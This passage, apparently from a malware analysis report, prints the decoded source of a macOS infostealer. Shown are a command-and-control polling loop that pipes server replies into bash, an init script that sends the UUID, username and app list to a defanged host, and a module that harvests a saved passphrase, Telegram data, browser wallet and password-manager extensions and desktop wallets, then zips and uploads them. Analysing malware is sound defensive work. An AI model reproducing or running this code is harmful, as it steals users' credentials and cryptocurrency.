                                    set _wDN4nCR to "curl --max-time 100 --retry 3 --retry-delay 2 -X POST " & quoted form of _XhMeelcwF & " -d " & quoted form of ("uuid=" & _tdNHlBqe5c3 & "&username=" & _QbVVXgFfL & "&txid=" & __tqjMFuf & "&shell") & " | bash"
                                    do shell script "nohup sh -c " & quoted form of _wDN4nCR & " > /dev/null 2>&1 < /dev/null &"
                                end try
                            end if
                        end if
                    on error
                        delay 120
                        exit repeat
                    end try
                    delay 120
                end repeat
            end if
        else
            delay 120
        end if
    end try
end repeat

13.6 File 3: init module (complete)

C2 response to txid=…&init: non-obfuscated bash script, 6 lines, 642 bytes, SHA-256 07b2cef1ce103a0b6816337bf143d6e150da376de1f8cbada4ae5630b7224648. The layer 3 code passes it directly to bash.

#!/bin/bash
uuid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/ {print $4}')
[ -z "$uuid" ] && uuid=$(system_profiler SPHardwareDataType | grep "Hardware UUID" | awk '{print $NF}')
username=$(whoami)
apps=$(find /Applications /System/Applications -maxdepth 1 -name "*.app" 2>/dev/null | xargs -I{} sh -c 'b=$(mdls -name kMDItemCFBundleIdentifier -raw "{}" 2>/dev/null); [ -n "$b" ] && echo "$b" | grep -qv "^com\.apple\." && basename "{}"' | sort)
curl -X POST --connect-timeout 50 --max-time 100 -F "txid=ecbca83c146349f67156b33ecc3e1aef" -F "uuid=$uuid" -F "username=$username" -F "apps=$apps" hxxps://payload1717[.]pro/

13.7 File 4: lmodule module, decoded

C2 response to txid=…&lmodule: 384 lines, 189,691 obfuscated bytes, SHA-256 b6a8b5fd43f30dd91318c39154f272d7eb73cd8be618ea5504273943a439a1ce. Decoded excerpts below; behaviour analysed in sections 9.3 and 9.4.

global __qhTj22WNG, __fx5dRpFf

on run
    set __dHQBpHHXo to "22127d968c8a5ebd7e30e772541cf2ad1791723205"
    set __aKOFOZF75A9 to "/tmp/" & __dHQBpHHXo
    set _mLoKHus to "NITRO4"
    set __F8RAHDz1kV1 to (system attribute "USER")
    set _qy0Tv2qp1E to "/Users/" & __F8RAHDz1kV1
    set __kAsph7a526 to _qy0Tv2qp1E & "/Library/Application Support/"
    set __cFw4kicgEF2 to POSIX path of (path to home folder) & ".passphrase"
    set _HDZHBmqKWD to do shell script "cat " & quoted form of __cFw4kicgEF2

    try

    on error errMsg number errNum
        set __qhTj22WNG to errMsg
        set __fx5dRpFf to errNum
        _Iva099Dp(__aKOFOZF75A9, "Grabber")
    end try

    try
        _xLzlp2F(__aKOFOZF75A9)
    on error errMsg number errNum
        set __qhTj22WNG to errMsg
        set __fx5dRpFf to errNum
        _Iva099Dp(__aKOFOZF75A9, "Notes")
    end try

    try
        __K7ig87bZFY(__aKOFOZF75A9, _mLoKHus, __F8RAHDz1kV1, _HDZHBmqKWD)
    on error errMsg number errNum
        set __qhTj22WNG to errMsg
        set __fx5dRpFf to errNum
        _Iva099Dp(__aKOFOZF75A9, "DeviceInfo")
    end try

    try
        _XRfswxtyRm(__aKOFOZF75A9)
    on error errMsg number errNum
        set __qhTj22WNG to errMsg
        set __fx5dRpFf to errNum
        _Iva099Dp(__aKOFOZF75A9, "CollectData")
    end try

    _HVFk7yRWNSI(__aKOFOZF75A9)

    __xYyuPK8gff(__kAsph7a526 & "/Telegram Desktop/tdata/", __aKOFOZF75A9 & "/Telegram Desktop/")
    __BG8vlSD(__aKOFOZF75A9 & "/Cryptowallets")

    _Fwly5Dv(__F8RAHDz1kV1, __aKOFOZF75A9 & "/Username")
    _Fwly5Dv(_HDZHBmqKWD, __aKOFOZF75A9 & "/Password")

    do shell script "ditto -c -k --sequesterRsrc " & __aKOFOZF75A9 & " /tmp/22127d968c8a5ebd7e30e772541cf2ad1791723205.zip"
    do shell script "/bin/rm -rf " & quoted form of __aKOFOZF75A9

    try
        set _mL4qvX2Hmqt to "/tmp/22127d968c8a5ebd7e30e772541cf2ad1791723205.zip"
        set _xMRMvvm to do shell script "stat -f%z " & quoted form of _mL4qvX2Hmqt
        set __ApvMuXl to _xMRMvvm as integer
        set __aRQyXft to 90 * 1024 * 1024
        set __wDYsttOZvB to __NkJigaJ1OA()
        if __ApvMuXl > __aRQyXft then
            set _lQ97sb5R to "curl --max-time 3000 -F " & quoted form of "txid=ecbca83c146349f67156b33ecc3e1aef" & " -F " & quoted form of ("file=@" & _mL4qvX2Hmqt) & " -F " & quoted form of ("uuid=" & __wDYsttOZvB) & " hxxps://payload1717[.]pro/contact.php > /tmp/1-u.txt 2>&1"
            do shell script _lQ97sb5R
        else
            try
                set _lQ97sb5R to "curl --max-time 90 -F " & quoted form of "txid=ecbca83c146349f67156b33ecc3e1aef" & " -F " & quoted form of ("file=@" & _mL4qvX2Hmqt) & " -F " & quoted form of ("uuid=" & __wDYsttOZvB) & " hxxps://payload1717[.]pro/contact.php > /tmp/2-u.txt 2>&1"
                do shell script _lQ97sb5R
            on error
                set _lQ97sb5R to "curl --max-time 3000 -F " & quoted form of "txid=ecbca83c146349f67156b33ecc3e1aef" & " -F " & quoted form of ("file=@" & _mL4qvX2Hmqt) & " -F " & quoted form of ("uuid=" & __wDYsttOZvB) & " hxxps://payload1717[.]pro/contact.php > /tmp/3-u.txt 2>&1"
                do shell script _lQ97sb5R
            end try
        end if
    end try
end run


on __NkJigaJ1OA()
    set __caqDUPNDk to {}
    set end of __caqDUPNDk to "ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'"
    set end of __caqDUPNDk to "ioreg -rd1 -c IOPlatformExpertDevice | grep -o '\"IOPlatformUUID\"[^,]*' | cut -d'\"' -f4"
    set end of __caqDUPNDk to "system_profiler SPHardwareDataType 2>/dev/null | awk '/Hardware UUID/{print $NF}'"
    set end of __caqDUPNDk to "system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}' | head -n1"

    repeat with _lQ97sb5R in __caqDUPNDk
        try
            set __CQjLwbvbyXf to do shell script (contents of _lQ97sb5R)
            if (length of __CQjLwbvbyXf is 36) and (__CQjLwbvbyXf contains "-") then
                return __CQjLwbvbyXf
            end if
        end try
    end repeat

    return ""
end __NkJigaJ1OA

on _HVFk7yRWNSI(_ldRkiN6)
    set __F8RAHDz1kV1 to (system attribute "USER")
    set _qy0Tv2qp1E to "/Users/" & __F8RAHDz1kV1
    set __kAsph7a526 to _qy0Tv2qp1E & "/Library/Application Support/"

    set _YhzwynIQQMs to {}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Yandex", __kAsph7a526 & "Yandex/YandexBrowser"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Chrome", __kAsph7a526 & "Google/Chrome/"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Brave", __kAsph7a526 & "BraveSoftware/Brave-Browser/"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Edge", __kAsph7a526 & "Microsoft Edge/"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Vivaldi", __kAsph7a526 & "Vivaldi/"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Opera", __kAsph7a526 & "com.operasoftware.Opera/"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"OperaGX", __kAsph7a526 & "com.operasoftware.OperaGX/"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Chrome Beta", __kAsph7a526 & "Google/Chrome Beta/"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Chrome Canary", __kAsph7a526 & "Google/Chrome Canary"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Chromium", __kAsph7a526 & "Chromium/"}}
    set _YhzwynIQQMs to _YhzwynIQQMs & {{"Chrome Dev", __kAsph7a526 & "Google/Chrome Dev/"}}

    try
        set _UWVHKXz to {{"nkbihfbeogaeaoehlefnkodbefgpgknn", "Metamask Wallet"}, {"egjidjbpglichdcondbcbdnbeeppgdph", "Trust Wallet"}, {"cjmkndjhnagcfbpiemnkdpomccnjblmj", "Finnie Wallet"}, {"hifafgmccdpekplomjjkcfgodnhcellj", "Crypto.com Wallet"}, {"kamfleanhcmjelnhaeljonilnmjpkcjc", "InspectCrypto Wallet"}, {"fdcnegogpncmfejlfnffnofpngdiejii", "Razor Wallet"}, {"klnaejjgbibmhlephnhpmaofohgkpgkd", "ZilPay Wallet"}, {"pdadjkfkgcafgbceimcpbkalnfnepbnk", "KardiaChain Wallet"}, {"kjjebdkfeagdoogagbhepmbimaphnfln", "Ultra Wallet"}, {"ldinpeekobnhjjdofggfgjlcehhmanlj", "Leather Wallet"}, {"dkdedlpgdmmkkfjabffeganieamfklkm", "Cyano Wallet"}, {"bcopgchhojmggmffilplmbdicgaihlkp", "Hycon Lite Client Wallet"}, {"kpfchfdkjhcoekhdldggegebfakaaiog", "FRWT Wallet"}, {"idnnbdplmphpflfnlkomgpfbpcgelopg", "Xverse Wallet"}, {"mlhakagmgkmonhdonhkpjeebfphligng", "ABC Wallet"}, {"bipdhagncpgaccgdbddmbpcabgjikfkn", "Clown Wallet"}, {"nhnkbkgjikgcigadomkphalanndcapjk", "CLV Wallet"}, {"bhhhlbepdkbapadjdnnojkbgioiodbic", "Solflare Wallet"}, {"klghhnkeealcohjjanjjdaeeggmfmlpl", "Zerion Wallet"}, {"ebfidpplhabeedpnhjnobghokpiioolj", "Fewcha Move Wallet"}, {"emeeapjkbcbpbpgaagfchmcgglmebnen", "Surf Wallet"}, {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "MyTonWallet"}, {"penjlddjkjgpnkllboccdgccekpkcbin", "OpenMask Wallet"}, {"fhilaheimglignddkjgofkcbgekhenbh", "Oxygen Atomic Wallet"}, {"hmeobnfnfcmdkdcmlblgagmfpfboieaf", "Ctrl Wallet"}, {"gjnckgkfmgmibbkoficdidcljeaaaheg", "Atomic Wallet"}, {"cihmoadaighcejopammfbmddcmdekcje", "LeafWallet"}, {"omaabbefbmiijedngplfjmnooppbclkk", "TonKeeper Wallet"}, {"jnlgamecbpmbajjfhmmmlhejkemejdma", "Braavos Bitcoin Wallet"}, {"fpkhgmpbidmiogeglndfbkegfdlnajnf", "Cosmostation Wallet"}, {"amkmjjmmflddogmhpjloimipbofnfjih", "Wombat Gaming Wallet"}, {"flpiciilemghbmfalicajoolhkkenfel", "ICONex Wallet"}, {"aeachknmefphepccionboohckonoeemg", "Coin98 Wallet"}, {"momakdpclmaphlamgjcndbgfckjfpemp", "BitMask Wallet"}, {"mnfifefkajgofkcjkemidiaecocnkjeh", "TezBox Wallet"}, {"ehjiblpccbknkgimiflboggcffmpphhp", "XcelPay Wallet"}, {"ilhaljfiglknggcoegeknjghdgampffk", "Beam Web Wallet"}, {"pgiaagfkgcbnmiiolekcfmljdagdhlcm", "Stargazer Wallet"}, {"fnjhmkhhmkbjkkabndcnnogagogbneec", "Ronin Wallet"}, {"bfnaelmomeimhlpmgjnjophhpkkoljpa", "Phantom Wallet"}, {"imlcamfeniaidioeflifonfjeeppblda", "NC Wallet"}, {"ppdadbejkmjnefldpcdjhnkpbjkikoip", "ROSE Wallet"}, {"cgeeodpfagjceefieflmdfphplkenlfk", "EVER Wallet"}, {"dlcobpjiigpikoobohmabehhmhfoodbb", "Ready Wallet"}, {"jiidiaalihmmhddjgbnbgdfflelocpak", "Bitget Wallet"}, {"bocpokimicclpaiekenaeelehdjllofo", "XDCPay Wallet"}, {"pocmplpaccanhmnllbbkpgfliimjljgo", "Slope Wallet"}, {"cphhlgmgameodnhkjdmkpanlelnlohao", "NeoLine"}, {"mcohilncbfahbmgdjkbpemcciiolgcge", "OKX Wallet"}, {"bopcbmipnjdcdfflfgjdgdjejmgpoaab", "BlockWallet"}, {"khpkpbbcccdmmclmpigdgddabeilkdpd", "Suiet Sui Wallet"}, {"ejjladinnckdgjemekebdpeokbikhfci", "Petra Aptos Wallet"}, {"phkbamefinggmakgklpkljjmgibohnba", "Pontem Crypto Wallet"}, {"epapihdplajcdnnkdeiahlgigofloibg", "Sender Wallet"}, {"hpclkefagolihohboafpheddmmgdffjm", "Flow Wallet"}, {"cjookpbkjnpkmknedggeecikaponcalb", "XTON Wallet"}, {"cpmkedoipcpimgecpmgpldfpohjplkpp", "Gate Wallet"}, {"modjfdjcodmehnpccdjngmdfajggaoeh", "Vanta Wallet"}, {"ibnejdfjmmkpcnlpebklmnkoeoihofec", "TronLink"}, {"afbcbjpbpfadlkmhmclhkeeodmamcflc", "MathWallet"}, {"kncchdigobghenbbaddojjnnaogfppfj", "iWallet"}, {"efbglgofoippbgcjepnhiblaibcnclgk", "Martian Aptos Wallet"}, {"fccgmnglbhajioalokbcidhcaikhlcpm", "Zapit Wallet"}, {"apnehcjmnengpnmccpaibjmhhoadaico", "CWallet"}, {"mgffkfbidihjpoaomajlbgchddlicgpn", "Pali Wallet"}, {"fopmedgnkfpebgllppeddmmochcookhc", "Suku Wallet"}, {"jojhfeoedkpkglbfimdfabpdfjaoolaf", "Polymesh Wallet"}, {"abkahkcbhngaebpcgfmhkoioedceoigp", "Casper Wallet"}, {"gkeelndblnomfmjnophbhfhcjbcnemka", "Bitverse Wallet"}, {"pnndplcbkakcplkjnolgbkdgjikjednm", "Tronium Tron Wallet"}, {"ellkdbaphhldpeajbepobaecooaoafpg", "ASI Alliance Wallet"}, {"mdnaglckomeedfbogeajfajofmfgpoae", "Energy8 Wallet"}, {"nknhiehlklippafakaeklbeglecifhad", "Nabox Wallet"}, {"ckklhkaabbmdjkahiaaplikpdddkenic", "Internet Money Wallet"}, {"fmblappgoiilbgafhjklehhfifbdocee", "Forbole X Wallet"}, {"nphplpgoakhhjchkkhmiggakijnkhfnd", "TON Wallet"}, {"cnmamaachppnkjgnildpdmkaakejnhae", "Auro Wallet"}, {"fijngjgcjhjmmpcmkeiomlglpeiijkld", "Talisman Wallet"}, {"lbjapbcmmceacocpimbpbidpgmlmoaao", "Metalet Wallet"}, {"hnfanknocfeofbddgcijnmhnfnkdnaad", "Coinbase Wallet"}, {"hpglfhgfnhbgpjdenjgmdgoeiappafln", "Guarda Wallet"}, {"ibljocddagjghmlpgihahamcghfggcjc", "Virgo Wallet"}, {"gkodhkbmiflnmkipcmlhhgadebbeijhh", "Soter Aleo Wallet"}, {"dbgnhckhnppddckangcjbkjnlddbjkna", "Fin Wallet For Sei"}, {"mfhbebgoclkghebffdldpobeajmbecfk", "StarMask Wallet"}, {"nlgbhdfgdhgbiamfdfmbikcdghidoadd", "Byone Wallet"}, {"acmacodkjbdgmoleebolmdjonilkdbch", "Rabby Wallet"}, {"agoakfejjabomempkjlepdflaleeobhb", "Core Wallet"}, {"dgiehkgfknklegdhekgeabnhgfjhbajd", "Komodo Wallet"}, {"onhogfjeacnfoofkfgppdlbmlmnplgbn", "SubWallet Polkadot Wallet"}, {"jaooiolkmfcmloonphpiiogkfckgciom", "Twetch Wallet"}, {"ojggmchlghnjlapmfbnjholfjkiidbch", "Venom Wallet"}, {"pmmnimefaichbcnbndcfpaagbepnjaig", "FoxWallet"}, {"oiohdnannmknmdlddkdejbmplhbdcbee", "ScaleWallet"}, {"aiifbnbfobpmeekipheeijimdpnlpgpp", "Station Wallet"}, {"anokgmphncpekkhclmingpimjmcooifb", "Compass Wallet for Sei"}, {"kkpllkodjeloidieedojogacfhpaihoh", "Enkrypt Wallet"}, {"iokeahhehimjnekafflcihljlcjccdbe", "Alby Wallet"}, {"ifckdpamphokdglkkdomedpdegcjhjdp", "ONTO Wallet"}, {"loinekcabhlmhjjbocijdoimmejangoa", "Glass wallet"}, {"fcfcfllfndlomdhbehjjcoimbgofdncg", "Leap Wallet"}, {"ifclboecfhkjbpmhgehodcjpciihhmif", "Klever Wallet"}, {"dmkamcknogkgcdfhhbddcghachkejeap", "Keplr Wallet"}, {"ookjlbkiijinhpmnjffcofjonbfbgaoc", "Temple Wallet"}, {"oafedfoadhdjjcipmcbecikgokpaphjk", "CoinWallet"}, {"mapbhaebnddapnmifbbkgeedkeplgjmf", "Biport Wallet"}, {"cmndjbecilbocjfkibfbifhngkdmjgog", "Swash Wallet"}, {"lgmpcpglpngdoalbgeoldeajfclnhafa", "SafePal Wallet"}, {"ppbibelpcjmhbdihakflkdcoccbgbkpo", "UniSat Wallet"}, {"ffnbelfdoeiohenkjibnmadjiehjhajb", "Yoroi"}, {"opcgpfmipidbgpenhmajoajpbobppdil", "Slush Sui wallet"}, {"lnnnmfcpbkafcpgdilckhmhbkkbpkmid", "Koala Wallet"}, {"nbdhibgjnjpnkajaghbffjbkcgljfgdi", "Ramper Wallet"}, {"kmhcihpebfmpgmihbkipmjlmmioameka", "Eternl Wallet"}, {"kmphdnilpmdejikjdnlbcnmnabepfgkh", "OsmWallet"}, {"iidjkmdceolghepehaaddojmnjnkkija", "IOTA Wallet"}, {"ablmompanofnodfdkgchkpmphailefpb", "Miden Wallet"}, {"pdgbckgdncnhihllonhnjbdoighgpimk", "Wallet Guard"}, {"kennjipeijpeengjlogfdjkiiadhbmjl", "PWR Wallet"}, {"mlbnicldlpdimbjdcncnklfempedeipj", "Yours Wallet"}, {"dngmlblcodfobpdpecaadgfbcggfjfnm", "MultiversX Wallet"}, {"gjkdbeaiifkpoencioahhcilildpjhgh", "Parti Wallet"}, {"bifidjkcdpgfnlbcjpdkdcnbiooooblg", "Fuelet Wallet"}, {"cflgahhmjlmnjbikhakapcfkpbcmllam", "OORT Wallet"}, {"ehgjhhccekdedpbkifaojjaefeohnoea", "Ambire Web3 Wallet"}, {"pcndjhkinnkaohffealmlmhaepkpmgkb", "Meteor Wallet"}, {"jblndlipeogpafnldhgmapagcccfchpi", "Kaia Wallet"}, {"cgeeodpfagjceefieflmdfphplkenlfk", "EVER Wallet"}, {"jojhfeoedkpkglbfimdfabpdfjaoolaf", "Polymesh Wallet"}, {"anokgmphncpekkhclmingpimjmcooifb", "Compass Wallet for Sei"}, {"mnnkpffndmickbiakofclnpoiajlegmg", "Concordium Wallet"}, {"lccbohhgfkdikahanoclbdmaolidjdfl", "Wigwam Web3 Wallet"}, {"pdliaogehgdbhbnmkklieghmmjkpigpa", "Bybit Wallet"}, {"nhlnehondigmgckngjomcpcefcdplmgc", "Fearless Wallet"}, {"mpeengabcnhhjjgleiodimegnkpcenbk", "HOT Wallet"}, {"blcaacmeglnfblclocdgaomhopnfobof", "TAP Wallet"}, {"mfgccjchihfkkindfppnaooecgfneiii", "TokenPocket"}, {"jfdlamikmbghhapbgfoogdffldioobgl", "Hana Wallet"}, {"pgiaagfkgcbnmiiolekcfmljdagdhlcm", "Stargazer Wallet"}, {"nebnhfamliijlghikdgcigoebonmoibm", "Leo Wallet"}, {"nfinomegcaccbhchhgflladpfbajihdf", "GU Wallet"}, {"aflkmfhebedbjioipglgcbcmnbpgliof", "Backpack Wallet"}, {"cgddkajmbckbjbnondgfcbcojjjdnmji", "Mavryk Wallet"}, {"jiiigigdinhhgjflhljdkcelcjfmplnd", "Mango Wallet"}, {"dldjpboieedgcmpkchcjcbijingjcgok", "Fuel Wallet"}, {"aholpfdialjgjfhomihkjbmgjidlcdno", "Exodus Web3 Wallet"}, {"omajpeaffjgmlpmhbfdjepdejoemifpe", "xBull Wallet"}, {"fdchdcpieegfofnofhgdombfckhbcokj", "Puzzle Aleo Wallet"}, {"kfdniefadaanbjodldohaedphafoffoh", "Typhon Wallet"}, {"bfeplaecgkoeckiidkgkmlllfbaeplgm", "Radix Wallet Connector"}, {"flhpobcpjeilaheadnpdkkinakogbdhb", "HashPass Wallet"}, {"mkpegjkblkkefacfnmkajcjmabijhclg", "Magic Eden Wallet"}, {"heamnjbnflcikcggoiplibfommfbkjpj", "Zeal Wallet"}, {"iledlaeogohbilgbfhmbgkgmpplbfboh", "Jupiter Wallet"}, {"ocjobpilfplciaddcbafabcegbilnbnb", "XPLA Vault Wallet"}, {"ieldiilncjhfkalnemgjbffmpomcaigi", "Portal DEX"}, {"bofddndhbegljegmpmnlbhcejofmjgbn", "eckoWALLET"}, {"bedogdpgdnifilpgeianmmdabklhfkcn", "VESPR Wallet"}, {"gafhhkghbfjjkeiendhlofajokpaflmk", "Lace Wallet"}, {"andhndehpcjpmneneealacgnmealilal", "HaHa Wallet"}, {"jnmbobjmhlngoefaiojfljckilhhlhcj", "OneKey Wallet"}, {"bgfhmafjampalkbjicjcjiikhlaggdnm", "Noone Wallet"}, {"jbkgjmpfammbgejcpedggoefddacbdia", "Parallel wallet"}, {"lmkncnlpeipongihbffpljgehamdebgi", "DPal Wallet"}, {"hfbglbedehonhmcljhlomlbjgmblieip", "LuckyCoin Wallet"}, {"nieddmedbnibfkfokcionggafcmcgkpi", "Arcana Wallet"}, {"cfbfdhimifdmdehjmkdobpcjfefblkjm", "Plug Wallet"}, {"enbnpdbkfjdnhlepfeaaahegcggljhdh", "Bitway Wallet"}, {"einhphiffjfjogeofkpclobkcgennocm", "UMI Wallet"}, {"fiehfolhefpnoihmfggndpmibfgbpico", "Volt Wallet"}, {"pfccjkejcgoppjnllalolplgogenfojk", "Tomo Wallet"}, {"lbenhokjibnlmfdhbgeacnocgmjegfab", "EternalWallet"}, {"bdgmdoedahdcjmpmifafdhnffjinddgc", "Bittensor Wallet"}, {"gdokollfhmnbfckbobkdbakhilldkhcj", "Alephium Wallet"}, {"jnldfbidonfeldmalbflbmlebbipcnle", "Bitfinity Wallet"}, {"ejbidfepgijlcgahbmbckmnaljagjoll", "Salmon Wallet"}, {"ghlmndacnhlaekppcllcpcjjjomjkjpg", "Wizz Wallet"}, {"ibjflpbmadchofnbpppegdbnifdgincp", "DID Wallet"}, {"miccfnlbijkmbckaagllchcfknjhgfnk", "Speed Bitcoin Lightning Wallet"}, {"idpdilbfamoopcfofbipefhmmnflljfi", "FACT wallet"}, {"lpnfhpbpmlobjlgkdmnjieeihjmihhjd", "Console Wallet"}}

        set __sefzTDjvSvJ to {{"pejdijmoenmkgeppbflobdenhhabjlaj", "iCloud Passwords"}, {"hdokiejnpimakedhajhdlcegeplioahd", "LastPass Password Manager"}, {"aeblfdkhhhdcdjpifhhbdiojplfjncoa", "1Password"}, {"kmbjcfefmceiibhnddbeenklcmpehmdd", "TweakPass"}, {"eiaeiblijfjekdanodkjadfinkhbfgcd", "NordPass"}, {"bfogiafebfohielmmehodmfbbebbbpei", "Keeper"}, {"ghmbeldphafepmbegfdlkpapadhbakde", "Proton Pass"}, {"nngceckbapebfimnlniiiahkandclblb", "Bitwarden"}, {"mmhlniccooihdimnnjhamobppdhaolme", "Kee Password"}, {"cnlhokffphohmfcddnibpohmkdfafdli", "MultiPassword"}, {"nhhldecdfagpbfggphklkaeiocfnaafm", "saaspass-dot-com"}, {"bnfdmghkeppfadphbnkjcicejfepnbfe", "Sticky Password"}, {"hifbblnjfcimjnlhibannjoclibgedmd", "MasterPassword"}, {"kmcfomidfpdkfieipokbalgegidffkal", "Enpass Password Manager"}, {"fdjamakpfbbddfjaooikfcpapjohcfmg", "Dashlane Password Manager"}, {"bhghoamapcdpbohphigoooaddinpkbai", "Authenticator"}}

        set _xxxE8UWYi5 to {"/Local Extension Settings/", "/IndexedDB/"}
        repeat with _yp3YAs2kY in _YhzwynIQQMs
            set __Hb1t0wEMLdC to _ldRkiN6 & "Browsers/" & item 1 of _yp3YAs2kY & "_"
            set _KzLOpPE to item 1 of _yp3YAs2kY & "_"
            try
                set __MlaOQ29BZ to list folder item 2 of _yp3YAs2kY without invisibles
                repeat with __gpoK2MFrS in __MlaOQ29BZ
                    if ((__gpoK2MFrS as string) is equal to "Default") or ((__gpoK2MFrS as string) contains "Profile") then
                        repeat with _Qr8DrrIQ in _xxxE8UWYi5
                            set _llI0XTAuQYJ to (item 2 of _yp3YAs2kY & __gpoK2MFrS & _Qr8DrrIQ)
                            if ((_Qr8DrrIQ as string) is equal to "/Local Extension Settings/") then
                                _Uzti5El4J(_llI0XTAuQYJ, _ldRkiN6 & "/Cryptowallets/" & _KzLOpPE & __gpoK2MFrS, _UWVHKXz, false)
                                _Uzti5El4J(_llI0XTAuQYJ, _ldRkiN6 & "/Extensions/" & _KzLOpPE & __gpoK2MFrS, __sefzTDjvSvJ, false)
                            else if (_Qr8DrrIQ as string) is equal to "/IndexedDB/" then
                                _Uzti5El4J(_llI0XTAuQYJ, _ldRkiN6 & "/Cryptowallets/" & _KzLOpPE & __gpoK2MFrS, _UWVHKXz, true)
                                _Uzti5El4J(_llI0XTAuQYJ, _ldRkiN6 & "/Extensions/" & _KzLOpPE & __gpoK2MFrS, __sefzTDjvSvJ, true)
                            else
                                # nothing
                            end if
                        end repeat
                    end if
                end repeat
            end try
        end repeat
    end try
end _HVFk7yRWNSI

on _Uzti5El4J(__GRW1fIhVHO, __Hb1t0wEMLdC, __d5mt274l5, index)
    try
        set __MlaOQ29BZ to list folder __GRW1fIhVHO without invisibles
        repeat with __ciztnDWF in __MlaOQ29BZ
            repeat with _Nmjeny4twf in __d5mt274l5
                set _EFy5Mrb5 to item 1 of _Nmjeny4twf
                set __KTg18vgTR1 to item 2 of _Nmjeny4twf
                if (__ciztnDWF contains _EFy5Mrb5) then
                    set __hm4AntUwZD to __GRW1fIhVHO & __ciztnDWF
                    set _I8gtbBjeb to __Hb1t0wEMLdC & "_" & __KTg18vgTR1
                    if index then
                        set _I8gtbBjeb to _I8gtbBjeb & "/IndexedDB/"
                    end if
                    __xYyuPK8gff(__hm4AntUwZD, _I8gtbBjeb)
                end if
            end repeat
        end repeat
    end try
end _Uzti5El4J

on _Fwly5Dv(_luhRBC7U, __uWJ31KDmG)
    try
        do shell script "/bin/mkdir -p " & quoted form of (do shell script "/usr/bin/dirname " & quoted form of __uWJ31KDmG)
        do shell script "printf '%s\\n' " & quoted form of _luhRBC7U & " >> " & quoted form of __uWJ31KDmG
        return true
    on error
        return false
    end try
end _Fwly5Dv

on __BG8vlSD(_ldRkiN6)
    try
        set __F8RAHDz1kV1 to (system attribute "USER")
        set _qy0Tv2qp1E to "/Users/" & __F8RAHDz1kV1
        set __kAsph7a526 to _qy0Tv2qp1E & "/Library/Application Support/"

        set __JA9NwdEdyU to {}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Exodus", __kAsph7a526 & "Exodus/exodus.wallet"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Electrum", _qy0Tv2qp1E & "/.electrum/wallets/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Atomic", __kAsph7a526 & "Atomic Wallet/Local Storage/leveldb/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Guarda", __kAsph7a526 & "Guarda/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Coinomi", __kAsph7a526 & "Coinomi/wallets/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Sparrow", _qy0Tv2qp1E & "/.sparrow/wallets/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Wasabi", _qy0Tv2qp1E & "/.walletwasabi/client/Wallets/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Bitcoin Core", __kAsph7a526 & "Bitcoin/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Armory", __kAsph7a526 & "Armory/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Electron Cash", _qy0Tv2qp1E & "/.electron-cash/wallets/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Monero", _qy0Tv2qp1E & "/.bitmonero/wallets/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Litecoin Core", __kAsph7a526 & "Litecoin/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"DashCore", __kAsph7a526 & "DashCore/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Dogecoin Core", __kAsph7a526 & "Dogecoin/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Electrum Litecoin", _qy0Tv2qp1E & "/.electrum-ltc/wallets/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"BlueWallet", __kAsph7a526 & "BlueWallet/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Zengo", __kAsph7a526 & "Zengo/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Trust Wallet", __kAsph7a526 & "Trust Wallet/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Ledger Live", __kAsph7a526 & "Ledger Live/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Ledger Wallet", __kAsph7a526 & "Ledger Wallet/"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"Trezor Suite", __kAsph7a526 & "@trezor"}}
        set __JA9NwdEdyU to __JA9NwdEdyU & {{"TON Keeper", __kAsph7a526 & "@tonkeeper"}}

        set __JP4aNb8a6gn to false
        repeat with __wS5jrcwXMKp in __JA9NwdEdyU
            try
                set __dHQBpHHXo to item 1 of __wS5jrcwXMKp
                set __pax09FGnsIl to item 2 of __wS5jrcwXMKp
                set _tKGj2MeYFk to false
                try
                    set _tKGj2MeYFk to (do shell script "[ -d " & quoted form of __pax09FGnsIl & " ] && echo 1 || echo 0") is "1"
                end try
                if _tKGj2MeYFk then
                    if not __JP4aNb8a6gn then
                        try
                            do shell script "/bin/mkdir -p " & quoted form of _ldRkiN6
                            set __JP4aNb8a6gn to true
                        end try
                    end if
                    if __JP4aNb8a6gn then
                        __xYyuPK8gff(__pax09FGnsIl, _ldRkiN6 & "/" & __dHQBpHHXo)
                    end if
                end if
            end try
        end repeat
        return __JP4aNb8a6gn
    on error
        return false
    end try
end __BG8vlSD

on __xYyuPK8gff(__uByhiyt, __RB1mf5Vcqa)
    try
